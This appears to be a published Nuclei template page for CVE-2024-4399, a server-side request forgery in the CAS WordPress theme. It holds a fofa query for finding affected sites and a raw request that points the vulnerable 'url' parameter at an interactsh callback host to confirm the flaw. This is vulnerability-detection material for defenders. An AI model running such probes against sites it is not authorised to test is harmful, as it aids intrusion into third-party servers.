WordPress CAS Theme <= 1.0.0 - Server-Side Request Forgery

ID: CVE-2024-4399

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,wp,wordpress,wp-theme,ssrf,cas,oast

Description

The CAS WordPress theme through version 1.0.0 is vulnerable to Server-Side Request Forgery (SSRF) via the ‘url’ parameter in the get_remote_data.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.

YAML Source

id: CVE-2024-4399

info:
  name: WordPress CAS Theme <= 1.0.0 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    The CAS WordPress theme through version 1.0.0 is vulnerable to Server-Side Request Forgery (SSRF) via the 'url' parameter in the get_remote_data.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.
  reference:
    - https://wpscan.com/vulnerability/0690327e-da60-4d71-8b3c-ac9533d82302
    - https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2024-4399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-4399
    cwe-id: CWE-918
  metadata:
    max-request: 2
    product: cas
    fofa-query: body="wp-content/themes/cas/"
  tags: cve,cve2024,wp,wordpress,wp-theme,ssrf,cas,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "themes/cas"
        internal: true

  - raw:
      - |
        GET /wp-content/themes/cas/get_remote_data.php?url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 490a004630440220599915978da69634d8660d93267c9463ea0341b5201d77a7f9761ec553eab2fe0220612a3f2f6609873f1fa4944ba660ce7a499d3695752e47967d6a05bf95d54895:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-4399.yaml"

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